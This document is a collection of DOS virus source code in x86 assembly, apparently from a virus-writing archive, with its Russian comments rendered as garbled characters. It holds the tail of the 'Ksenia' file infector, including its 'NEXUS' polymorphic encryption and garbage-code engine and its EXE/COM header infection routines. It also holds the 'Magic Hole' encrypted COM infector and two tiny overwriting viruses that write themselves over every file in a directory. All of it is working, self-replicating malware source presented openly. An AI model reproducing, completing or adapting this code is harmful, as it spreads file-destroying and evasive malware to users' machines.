�젵쳽 sub ax,[di+8] ; �揖ⓥ젺�� �젳Д�� EXE 쭬．ギ˚� mov delta,dx ; ㄾ��キⓥ�レ��� 細ι���� ㄻ� ��エМ雪� sub ax,10h ; ��ㄾ〃� COM �젵ャ (IP ‘レ蜈/�젪�� 100h) add dx,100h mov W [di+14h],dx ; 貰魚젺���� IP mov W [di+16h],ax ; 貰魚젺���� CS mov W [di+0eh],ax ; 貰魚젺���� SS (�� TBSCAN 쭬�誓�) mov W [di+10h],-2 ; 貰魚젺���� SP pop dx ax ; 쭬｀習첓 캙�젹β昔� �� 飡ⅹ� add ax,vsize ; ㄾ줎˙���� � �젳Д說 �젵쳽 adc dx,0 ; ㄻÞ� ˘說�� mov cx,512 ; 淞ⓥ젰� ���瑜 PartPag � PageCnt ㄻ� div cx ; �젵쳽 ¸α收 � ˘說貰� or dx,dx jz $+3 inc ax mov [di+2],dx ; 貰魚젺���� PartPag mov [di+4],ax ; 貰魚젺���� PageCnt Check: call WriteVirus ; 쭬�ⓤ� ˘說� � �젵� Close: call CorrectDate ; ��젪첓 쩆瞬 Þ十與昔쥯���． �젵쳽 ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; 쭬�ⓤ� 쭬鼇菴�쥯���． 收쳽 ˘說�� � �젵� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 WriteVirus: call GetDate ; 쭬�昔� №�Д��/쩆瞬 �젵쳽 cmp cs:save_ax,1857h; �昔´夕� ���▼�ㄸМ飡� ��舒�夕� jz no_time ; №�Д�� �젵쳽 mov ah,2ch ; 쭬�昔� 收ゃ耀． №�Д�� call int21 ; � dx:cx mov ax,cs:time ; � ax №�э �젵쳽 shr ah,3 ; ‥誓� �졹� (〃瞬 11-15 � cx) cmp ah,ch ; 貰¿젮좐�? αエ 쩆, 獸 送煎猶젰п�, je write_fail ; 譽�〓 �� 쭬聲βⓥ藺� no_time: call seek2eof ; -> ぎ�ζ call nexus call write ; 쭬�ⓤ猶젰п� � �젵� xor cx,ax ; ㏇� 쭬�ⓤ젷�刷? jnz write_fail call seek2bof ; Ħ�� � 췅�젷� mov cx,32 ; 쭬．ギ¡� com/exe �젵쳽 lea dx,header mov w header+12h,v_id call write write_fail: call RestDate ; ¡遜�젺�˙���� 쩆瞬 �젵쳽 ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; �昔´夕� �젵쳽 췅 Þ十與昔쥯���飡� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 Inf_Check: call SaveRegs ; 貰魚젺ⓥ� � 飡ⅹ� 誓（飡贍 call SeekSave ; 貰魚젺畑� ��㎤與� lseek call seek2bof ; ��誓��歲� 丞젳졻�レ 췅 췅�젷� mov cx,32 ; 葉�젰� 쭬．ギ¡� � ▲芯� lea dx,buffer push cs cs pop ds es call read call RestoreSeek ; ¡遜�젺�˘筍 ��㎤與� lseek xor cx,ax ; ㏇� �昔葉�젷�刷? jnz not_infected cmp w buffer+12h,v_id jnz not_infected call LoadRegs stc ret not_infected: call LoadRegs clc ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; CRLOAD - ��ㄿ昔｀젹쵟 ㄻ� ��ャ曄�⑨ �黍（췅レ��． 췅�젷� ; 쭬�젲����� �昔｀젹щ �� 쭬鼇菴�쥯���． ˘說�� � 將�� �昔｀젹Д ; ℡��: BX - handle Þ十與昔쥯���� �昔｀젹щ ; �音��: "buffer" 貰ㄵ逝ⓥ 32 �黍（췅レ�音 줎⒱� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� crload: call SaveRegs ; 貰魚젺���� 誓（飡昔� push cs cs ; Þⓩ쯄エ쭬與� 醒，��狩音 誓（飡昔� pop ds es xor cx,cx ; 貰魚젺���� ��㎤與� 丞젳졻�ワ � �젵ゥ xor dx,dx call seekfrom_cur push dx ax mov cx,-1 ; Ħ�� � ぎ�ζ ˘說�� mov dx,-32 ; call seekfrom_eof ; mov cx,32 ; 葉�젰� 쭬．ギ¡� lea dx,buffer ; � ▲芯� call read pop dx cx ; ¡遜�젺젪エ쥯�� ��㎤與� 丞젳졻�ワ call seekfrom_bof call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� ret 갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚 ; POLYMORPHIC ENGINE [NEXUS] ; � 첓曄飡´ ℡�ㄽ音 캙�젹β昔� 信�젺�˘筍 DELTA 첓� 咨飡�� 細ι���� � �젵ゥ ; 췅 �音�ㄵ CX,DX ．獸�� � �留�㏂ 押�ゆĿ 40h �誓贍쥯�⑨ int 21h 갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚갚 nexus: call SaveRegs ; Þⓩ쯄エ쭬與� push cs cs pop ds es cld lea di,buffer mov al,60h stosb mov r_used,-1 ; �� �ㄸ� �� 誓（飡昔� �� ⓤ��レ㎯β碎 call garbage ; ％���졿⑨ с貰�� mov w_flag,1 ; 댂ⓩ쯄エ쭬與� 묊β葉첓 call get_reg ; ��ャ曄��� ��Д�� 誓（飡�� mov b r_used,al ; 쭬�α���� ⅲ� � 召ⓤ�� ⓤ��レ㎜쥯��音 or al,10111000b ; 貰ℓ젺�� ぎ쵟�ㅻ MOV REG,Const (16) stosb ; 貰魚젺���� ぎ쵟�ㅻ mov ax,vsize-crlen-32 ; �揖ⓤゥ��� ぎエ曄飡쥯 줎⒱ ㄻ� 쭬鼇菴�˚� stosw ; 貰魚젺���� ぎ�飡젺瞬 call garbage ; ％���졿⑨ с貰�� gidx: mov w_flag,1 ; ％���졿⑨ 16-〃狩�． 젮誓說�． 誓（飡�� call get_reg ; ％���졿⑨ 笹晨젵��． 誓（飡�� mov ah,111b ; �昔´夕� 췅 젮誓說硫 誓（飡� � ��ャ曄�⑨ cmp al,011b ; 캙�젹β�� ㄻ� 젮誓�졿Ŀ � ��М雩� 將�． je sidx ; 誓（飡�� mov ah,100b cmp al,110b je sidx mov ah,101b cmp al,111b jne gidx sidx: mov b r_used+1,al ; 貰魚젺���� ��Д�� 젮誓說�． 誓（飡�� mov rm_flag,ah ; 貰魚젺���� 캙�젹β�� R/M or al,10111000b ; 댂ⓩ쯄エ쭬與� �ㅰα��． 맓（飡�� stosb ; 貰ℓ젺�� ぎ쵟�ㅻ MOV REG,Const (16) mov ax,delta ; �揖ⓤゥ��� 細ι��⑨ 췅�젷� 쭬鼇菴�쥯���． add ax,crlen+100h ; ˘說�� � �젵ゥ stosw call garbage ; ％���졿⑨ с貰�� rchos: mov bp,di ; 貰魚젺���� 丞젳졻�ワ 췅 ㄵ稅黍�獸� mov ax,oplen ; �濡�� 笹晨젵��． 鼇菴��蟯첓 call xrandom mov si,ax ; SI=AX*2 add si,ax mov ax,w [si+enopI] ; 譽���� 鼇菴��蟯첓 or ah,101b ; 쭬鼇菴�˚� ▲ㄵ� Ħ殊 � 晨졹殊�� DI bt ax,1 ; �昔´夕� ���▼�ㄸМ飡� か蹟� mov w nbuf,ax ; 貰魚젺���� 鼇菴졻��� mov b nbuf+3,0c3h ; RETn mov al,90h ; NOP jc nokey mov ax,0ffh ; ��ャ曄��� 笹晨젵��． 葉笹� call xrandom inc ax ; ⓤか蹟���� ��캙쩆�⑨ 0 nokey: mov b nbuf+2,al mov al,[di] ; �昔´夕� ぎ쵟�ㅻ: 췅 �젹�� ㄵゥ �췅 call near ptr nbuf ; 쭬鼇菴��猶젰� 줎⒱? cmp al,[di] jz rchos mov al,2eh ; 깷���졿⑨ 꽖鼇菴졻��� stosb ; SEGCS mov ax,w [si+deopI] ; 譽���� �졹鼇菴��蟯첓 or ah,rm_flag ; ��젪첓 ��ぎ쩆 (晨β R/M 젮誓說�． 誓（飡��) stosw bt ax,1 ; �昔´夕� ���▼�ㄸМ飡� か蹟� jc uukey mov al,b nbuf+2 ; ぎ�ⓣ�쥯��� か蹟� �� ▲芯�� stosb ; � ㄵ稅黍�獸� uukey: call garbage ; ％���졿⑨ с貰�� mov al,01000000b ; 깷���졿⑨ 瑟�エ曄�⑨ Þㄵめ��． 誓（飡�� or al,b r_used+1 stosb call garbage ; ％���졿⑨ с貰�� mov al,01001000b ; 벉��麟젰� 淞β葉� or al,b r_used stosb mov al,01110101b ; 깷��黍說�� ぎ쵟�ㅳ JNZ stosb ; ��誓若� 췅 ㄵ稅黍�獸� mov ax,bp sub ax,di dec ax stosb mov si,di ; ��ㄳ�獸˚� � ％���졿Ŀ �ε쥯�좐蟯� sub si,offset buffer ; с貰惜音 ぎ쵟�� (쭬��キ���� ㏇ⅲ� mov ax,crlen ; �誓ㄾ飡젪ゥ���． ��� ㄵ稅黍�獸� Д飡� sub ax,si ; с貰惜臾� ぎ쵟�쩆Ж) mov cx,ax dec cx mov r_used,-1 ; �� �ㄸ� �� 誓（飡昔� �� ⓤ��レ㎯β碎 call ncmd ; ％���졿⑨ CX 줎⒱ с貰�� mov al,61h stosb mov cx,shield-ksenia-crlen lea si,ksenia+crlen lea di,buffer+crlen rep movsb mov cx,endi-shield-1 dupcr: lodsb sub al,[si] stosb loop dupcr mov cx,eov-endi+1 rep movsb mov cx,vsize-crlen-32 lea di,buffer+crlen encp: call near ptr nbuf inc di loop encp call LoadRegs mov cx,vsize lea dx,buffer ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; ��ㄿ昔｀젹쵟 ㄻ� ％���졿Ŀ с貰惜�． ぎ쩆 笹晨젵��． �젳Д�� ; DS=ES=CS, [DI] - ▲芯� ㄻ� с貰�� (DI Þむ�Д�殊說β碎) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� gmax equ crlen/7 gmin equ gmax/2 garbage: push ax cx mov ax,gmax-gmin call xrandom add ax,gmin xchg ax,cx call ncmd pop cx ax ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; ��ㄿ昔｀젹쵟 ㄻ� ％���졿Ŀ с貰惜�． ぎ쩆 췅 줎㎘ �젩エ劣 ; DS=ES=CS, [DI] - ▲芯� ㄻ� с貰�� (DI Þむ�Д�殊說β碎) ; CX - �拾췅� ㄻÞ� ㏇ⅲ� с貰�� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ncmd: push ax bx cx dx si ; 貰魚젺���� 誓（飡昔� jcxz gret ggen: push di cx lea di,crbuf call gcmd xchg ax,cx pop cx di cmp cx,ax jc ggen lea si,crbuf gdup: movsb dec cx dec ax jnz gdup or cx,cx jnz ggen gret: pop si dx cx bx ax ; ¡遜�젺�˙���� 誓（飡昔� ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; ��ㄿ昔｀젹쵟 ㄻ� ％���졿Ŀ 笹晨젵��� с貰惜�� Þ飡說ゆĿ ; DS=ES=CS, [DI] - ▲芯� ㄻ� Þ飡說ゆĿ ; 췅 �音�ㄵ CX - ㄻÞ� Þ飡說ゆĿ � 줎⒱졾 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� gcmd: push ax bx dx si di ; 貰魚젺���� 誓（飡昔� mov cx,2 ; 誓％���졿⑨: 2 �젳� greg: lea si,opcode ; �젩エ�� � ��ぎ쩆Ж mov ax,oclen ; ％���졿⑨ 笹晨젵��． 葉笹� � �誓ㄵゥ �� call xrandom ; �乘� ㄾ ぎエ曄飡쥯 飡昔� � �젩エ璵 add si,ax ; ��ャ曄��� 細ι��⑨ � �濡�젺��� 瀞ⅸぅ add si,ax add si,ax mov dl,[si] ; 쭬｀習첓 벏�젪ワ迹ⅲ�_줎⒱� mov ax,[si+1] ; ぎ�ⓣ�쥯��� �젩ギ췅 Þ飡說ゆĿ mov [di],ax test dx,10000000b ; �昔´夕� 氏젫� 誓％���졿Ŀ loopnz greg xor bx,bx bt dx,0 ; 信�젺�˚� ㄻÞ� Þ飡說ゆĿ setc bl bt dx,6 setc w_flag test dl,00000100b ; �昔´夕� ���▼�ㄸМ飡� ％���졿Ŀ jz nWRD ; ��ワ WRD mov ax,2 call xrandom mov w_flag,al test dl,00100000b jz bit1 rol al,3 bit1: or [di],al ; 信�젺�˚� ��ワ � 瀞ⅸぅ 캙э殊 nWRD: test dl,00000010b ; �昔´夕� ���▼�ㄸМ飡� ％���졿Ŀ jz nREG ; ��ワ REG call get_reg ; ％���졿⑨ 笹晨젵��． 誓（飡�� or [di+bx],al ; 信�젺�˚� ��ワ � 瀞ⅸぅ 캙э殊 nREG: mov cl,dl shr cl,3 and cl,11b ; �昔´夕� ���▼�ㄸМ飡� ％���졿Ŀ jz nRND ; 笹晨젵��． ㎛좂��⑨ ��笹� Þ飡說ゆĿ cmp cl,11b jne pRND mov cl,w_flag inc cl pRND: xor ax,ax call xrandom mov [di+bx+1],al inc bx dec cl jnz pRND nRND: mov cx,bx inc cx pop di si dx bx ax ; 쭬｀習첓 誓（飡昔� ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; ��ㄿ昔｀젹쵟 ㄻ� ％���졿Ŀ ��Д�� 誓（飡�� � AL ; 췅 ℡�ㄵ: r_used (2 줎⒱�) - ��Д�� 쭬�汀音 16-〃狩音 誓（飡昔� ; w_flag - �젳涉ㄽ�飡� 誓（飡�� (0-8 〃�,1-16 〃�) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� get_reg: mov ax,8 ; ��ャ�젰� 笹晨젵�硫 ��Д� call xrandom ; �� 0 ㄾ 7 mov ah,al ; ㅳ∥ⓣ濕� ⅲ� cmp w_flag,1 ; 殊� 쭬��좄Ð젰М． 誓（飡�� jz r16 ; � 笹晨젰 8-〃狩�． 誓（飡�� �昔´夕�, �� and ah,11111011b ; 琠ワβ碎 エ �� ��ギ˘�ぎ� ⓤ��レ㎜쥯��音 jmp r_chk ; 誓（飡昔� r_used r16: cmp ah,100b ; � 笹晨젰 16-〃狩�． 誓（飡�� �昔´夕�, �� jz get_reg ; 琠ワβ碎 エ �� 誓（飡昔� SP r_chk: cmp b r_used,ah ; 醒⑴졹 �昔´涉��, �� ��ャ葉エ エ щ jz get_reg ; 拾� ⓤ��レ㎜쥯��硫 誓（飡�, 쭬�ⓤ젺�硫 cmp b r_used+1,ah ; � r_used jz get_reg cbw ; ah=0 ret ; �音�� �� ��ㄿ昔｀젹щ 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; 뮔∥ⓩ� ��ぎㄾ� ㄻ� с貰�� (DB 벏�젪ワ迹Ł_줎⒱, DB ��ぎ�, DB ��ぎ�) ; 벏�젪ワ迹Ł_줎⒱ �猷ワㄸ� 笹ⅳ莘蟯� �□젳��: ; 00000000 ; 납냅눴냅 ㄻÞ� Þ飡說ゆĿ (+1 줎⒱) ; 납� 납읕 췅ㄾ∼�飡� ��ワ REG (〃瞬 [0-2] ��笹ⅳ�ⅲ� 줎⒱� ぎ쵟�ㅻ) ; 납� 냅컴 췅ㄾ∼�飡� ��ワ WRD ; 납� 읕컴 ㄾ줎˙���� 笹晨젵��． ㎛좂��⑨ (00-�β,01-줎⒱,10-笹�¡,11-�� WRD) ; 납읕컴컴 ��ギ┘��� ��ワ WRD (0-〃� 0, 1-〃� 3 ��舒�． 줎⒱� ぎ쵟�ㅻ) ; 냅컴컴컴 ㎛좂���� ��ワ WRD, αエ ⅲ� �� 췅ㄾ ％��黍筍 ; 읕컴컴컴 誓％���졿⑨ 笹晨젵��． 葉笹� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� opcode db 00111110b,10110000b,00000000b ; MOV REG,Const (8/16) db 00011111b,11110110b,11000000b ; TEST REG,Const (8/16) db 00011111b,10000000b,11000000b ; ADD REG,Const (8/16) db 00011111b,10000000b,11001000b ; OR REG,Const (8/16) db 00011111b,10000000b,11010000b ; ADC REG,Const (8/16) db 00011111b,10000000b,11011000b ; SBB REG,Const (8/16) db 00011111b,10000000b,11100000b ; AND REG,Const (8/16) db 00011111b,10000000b,11101000b ; SUB REG,Const (8/16) db 00011111b,10000000b,11110000b ; XOR REG,Const (8/16) db 00011111b,10000000b,11111000b ; CMP REG,Const (8/16) db 00111110b,10110000b,00000000b ; MOV REG,Const (8/16) db 00001111b,11000000b,11000000b ; ROL REG,Const (8/16) db 00001111b,11000000b,11001000b ; ROR REG,Const (8/16) db 00001111b,11000000b,11010000b ; RCL REG,Const (8/16) db 00001111b,11000000b,11011000b ; RCR REG,Const (8/16) db 00001111b,11000000b,11100000b ; SHL/SAL REG,Const (8/16) db 00001111b,11000000b,11101000b ; SHR REG,Const (8/16) db 00001111b,11000000b,11111000b ; SAR REG,Const (8/16) db 00111110b,10110000b,00000000b ; MOV REG,Const (8/16) db 00000111b,11110110b,11011000b ; NEG REG (8/16) db 00000111b,11110110b,11010000b ; NOT REG (8/16) db 00000011b,11111110b,11000000b ; INC REG (8) db 00000011b,11111110b,11001000b ; DEC REG (8) db 01000010b,01000000b,00000000b ; INC REG (16) db 01000010b,01001000b,00000000b ; DEC REG (16) db 00111110b,10110000b,00000000b ; MOV REG,Const (8/16) db 10000001b,01110100b,00000000b ; JE NEXTCMD db 10000001b,01111100b,00000000b ; JL NEXTCMD db 10000001b,01111110b,00000000b ; JLE NEXTCMD db 10000001b,01110010b,00000000b ; JB NEXTCMD db 10000001b,01110110b,00000000b ; JP NEXTCMD db 10000001b,01111010b,00000000b ; JO NEXTCMD db 10000001b,01110000b,00000000b ; JS NEXTCMD db 10000001b,01111000b,00000000b ; JNE NEXTCMD db 10000001b,01110101b,00000000b ; JNL NEXTCMD db 10000001b,01111101b,00000000b ; JG NEXTCMD db 10000001b,01110011b,00000000b ; JAE NEXTCMD db 10000001b,01110111b,00000000b ; JA NEXTCMD db 10000001b,01111011b,00000000b ; JNP NEXTCMD db 10000001b,01110001b,00000000b ; JNO NEXTCMD db 10000001b,01111001b,00000000b ; JNS NEXTCMD db 10000001b,11100011b,00000000b ; JCXZ NEXTCMD db 10000001b,11101011b,00000000b ; JMP NEXTCMD db 00111110b,10110000b,00000000b ; MOV REG,Const (8/16) db 10000000b,11111000b,00000000b ; CLC db 10000000b,11110101b,00000000b ; CMC db 10000000b,11111001b,00000000b ; STC db 10000000b,11111100b,00000000b ; CLD db 10000000b,11111101b,00000000b ; STD db 10000000b,11111010b,00000000b ; CLI db 10000000b,11111011b,00000000b ; STI oclen equ (this byte-opcode)/3 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; 뮔∥ⓩ� ��ぎㄾ� ㄻ� Þ飡說ゆŁ 쭬/�졹鼇菴�˚� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� enopI db 10000000b,00110000b ; XOR db 11110110b,00010000b ; NOT db 10000000b,00000000b ; ADD db 10000000b,00101000b ; SUB db 11000000b,00001000b ; ROR db 11000000b,00000000b ; ROL db 11110110b,00011000b ; NEG db 11111110b,00000000b ; INC db 11111110b,00001000b ; DEC deopI db 10000000b,00110000b ; XOR db 11110110b,00010000b ; NOT db 10000000b,00101000b ; SUB db 10000000b,00000000b ; ADD db 11000000b,00000000b ; ROL db 11000000b,00001000b ; ROR db 11110110b,00011000b ; NEG db 11111110b,00001000b ; DEC db 11111110b,00000000b ; INC oplen equ (this byte-deopI)/2 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; ぎ�ζ ��ㅱ曄�� CRC 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� end_crc: random1 dw 0 ; 캙�� 笹晨젵�音 葉醒� random2 dw 0 checksum dd 0 ; CRC32 ˘說�� host db 'C' ; 殊� 쭬�젲����� �昔｀젹щ epb dw 0 ; Execute Parameter Block dw 80h ; ぎ쵟�ㄽ좑 飡昔첓 seg0 dw 0 dw 5ch ; FCB#1 seg1 dw 0 dw 6ch ; FCB#2 seg2 dw 0 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; ぎ�ζ 鼇菴�쥯���� �졹殊 ˘說�� (2-� 召�貰‘� - internal) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� endi: SaveRegs: pushf ; 貰魚젺���� �젹ⓨ 誓（飡昔� push eax bx edx si di bp es ds mov bp,sp push w [bp.rcx] ; ぎ�ⓣ�쥯��� 젮誓�� ¡㎖�졻� mov [bp.rcx],cx mov bp,[bp.rbp] ; ¡遜�젺�˙���� BP ret LoadRegs: pop cx ; ¡遜�젺�˙���� 細ι��⑨ ¡㎖�졻� mov bp,sp ; ぎ�ⓣ�쥯��� 젮誓�� ¡㎖�졻� � �信栒� xchg cx,[bp.rcx] pop ds es bp di si edx bx eax popf ret rreg struc rds dw ? ; Д飡��졹��ギ┘��� 貰魚젺���音 res dw ? ; 誓（飡昔� � 飡ⅹ� rbp dw ? rdi dw ? rsi dw ? redx dd ? rbx dw ? reax dd ? rflg dw ? rcx dw ? rreg ends original db 0c3h ; ��� ㄾウ�� 〓筍 ��笹ⅳ�º� !!! db 31 dup (0) ; ��� ㄾウ�� 〓筍 ��笹ⅳ�º� !!! 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; �∥졹筍 �ⅳⓤぎ�音 쩆��音 - ぎ�ζ �젵ギ¡� �졹殊 ˘說�� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� eov: io08 dw ?,? ; 瀞ⅸえ 魚젺��⑨ ´も�昔� io21p dw ?,? ; �誓贍쥯�Ł io24 dw ?,? stf db ? ; 誓┬� 飡�メ (mcbcheck) seek_pos dw ?,? ; ��㎤與� 丞젳졻�ワ (SeekSave) nrbytes dw ? ; �昔葉�젺�瑜 줎⒱� (ReadStealth) r_used dw ? ; 2 ⓤ��レ㎯�щ� 誓（飡�� (NEXUS) w_flag db ? ; (NEXUS) rm_flag db ? ; 魚젺���� R/M ��ワ Þㄵめ� (NEXUS) crbuf db 4 dup (?) nbuf db 4 dup (?) fn_ptr dw ?,? ; º� �젵쳽 (ClrAttrib) attrib dw ? ; 졻循Æ呻� (ClrAttrib) time dw ? ; №�э �젵쳽 (GetDate) date dw ? ; 쩆�� �젵쳽 (GetDate) delta dw ? ; +細ι���� (℡�ㄽ�� 캙�젹β� NEXUS) w95state dw ? ; 貰飡�輾�� Win95 (獸嶺ⅴ WinOldAp) save_ax dw ? ; ��誓쩆�� 캙�젹β昔� Д�ⅳ┘�� save_bx dw ? ; 誓㎤ㄵ�狩�� �졹殊 �□젩�洵Ø젹 save_es dw ? ; reqhdr dw ?,? ; REQUEST_HEADER intcall dw ?,? ; SYS_INTERRUPT delay db ? ; 淞β葉� ㄻ� Virus Guard header db 32 dup (?) buffer db vsize dup (?) stacks db 100h dup (?) eom: end ksenia 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[KSENIA.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[MHOLE.ASM]컴� jumps .model tiny .code start: ; 앪� Д洙� � 쭬�젲��Ŀ db 0e9h,0,0,98h ; 뫌魚젺º 誓（飡贍 push ax bx cx dx bp si di ; 뇿｀習º bp ㎛좂����� ㄾ��キⓥ�レ��． 細ι��⑨ int 1ch delta: cli mov bp,sp mov bp,word ptr [bp-6] sub bp,offset delta sti ; 앪� �昔殊� 쥨ⅰ� mov ax,1200h int 2fh cmp al,0ffh sbb ch,ch mov cl,1 lea di,[stosed+bp] mov al,90h rep stosb stosed: nop ; 맆訟ⓧ昔�猶젰� ˘說� mov cx,vsize-(cbeg-start) lea si,[cbeg+bp] decrypt: dw 3480h key db 0000h inc si loop decrypt ; 궙遜�젺�˘� �黍（췅レ��� 췅�젷� �젵쳽 cbeg: lea si,[prev+bp] mov di,100h mov cx,4 rep movsb ; 뤲�´涉��, �� � （―º エ ㄸ稅�� щ ºⅴ� ㄵギ? mov ax,4408h xor bx,bx int 21h or ax,ax jz complete ; 볚�젺�˘� 젮誓� ��¡． dta mov ah,1ah lea dx,[dta+bp] int 21h ; 뤲ⓤ栒캙�� � ��ⓤゃ �젵ギ� mov ah,4eh mov cx,0ffefh and (not 1000b) lea dx,[fmask+bp] get_file: int 21h jc no_more call infect mov ah,4fh jmp get_file ; 궙遜�젺젪エ쥯�� dta no_more: mov ah,1ah mov dx,80h int 21h ; 궙遜�젺젪エ쥯�� 誓（飡贍 complete: pop di si bp dx cx bx ax ; 롡쩆ㄸ� 承�젪ゥ��� ˘說貰��歲收ヮ mov si,100h jmp far ptr si prev db 0c3h,0,0,98h jump db 0e9h,0,0,98h fmask db '*.com',0 db '[Magic Hole]',0 db 'Copyright (C) 1998-99 by Deadman for Ksenia Chizhova',0 db 'There is nothing easier then to fall in love. Deadman.',0 db '{ALCY}' ; 댂十與說�� DS:DX ---------- ;( infect: cmp word ptr [fsize+2+bp],0 jnz unluck cmp word ptr [fsize+bp],60000 ja unluck mov ax,3d00h lea dx,[fname+bp] int 21h jc unluck xchg ax,bx mov ah,3fh mov cx,4 lea dx,[prev+bp] int 21h jc close_1 xor cx,ax jnz close_1 cmp byte ptr [prev+3+bp],98h jnz not_infected close_1: call close jmp unluck not_infected: call close mov ax,4301h xor cx,cx lea dx,[fname+bp] int 21h jc unluck mov ax,3d02h int 21h jc unluck xchg ax,bx mov ax,4202h xor cx,cx cwd int 21h jc close_2 no_zero: in al,40h or al,al jz no_zero mov byte ptr [key+bp],al lea si,[start+bp] lea di,[buffer+bp] mov cx,vsize cld rep movsb lea si,[buffer+(cbeg-start)+bp] mov cx,vsize-(cbeg-start) encrypt: xor byte ptr [si],al inc si loop encrypt mov ah,40h mov cx,vsize lea dx,[buffer+bp] int 21h jc close_2 xor cx,ax jnz close_2 xor ax,ax in al,40h mov cx,ax in ax,40h mov dx,ax mov ah,40h int 21h mov ax,4200h xor cx,cx cwd int 21h mov ax,word ptr [fsize+bp] mov word ptr [jump+1+bp],ax mov ah,40h mov cx,4 lea dx,[jump+bp] int 21h close_2: mov ax,5700h inc al mov cx,[time+bp] mov dx,[date+bp] int 21h call close mov ax,4300h inc al mov cl,byte ptr [attr+bp] mov ch,0 lea dx,[fname+bp] int 21h unluck: ret close: nop mov ah,3eh int 21h nop nop ret vsize equ word ptr offset $ - offset start dta label byte db 15h dup (?) attr db ? time dw ? date dw ? fsize dw ?,? fname db 13 dup (?) buffer db vsize dup (?) end start 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[MHOLE.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[25.ASM]컴� model tiny codeseg org 100h start: db '*.*',0 mov ah,4eh mov cl,20h write: mov dx,si int 21h mov ax,3d02h mov dx,9eh int 21h xchg ax,bx mov ah,40h jmp write end start 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[25.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[36.ASM]컴� model tiny codeseg locals org 100h start: db '*.*',0 mov ah,4eh xor cx,cx mov dx,si next: int 21h jc last mov ax,3d02h mov dx,9eh int 21h xchg ax,bx mov ah,40h mov cl,eov-start mov dx,si int 21h mov ah,4fh jmp next last: ret eov: end start 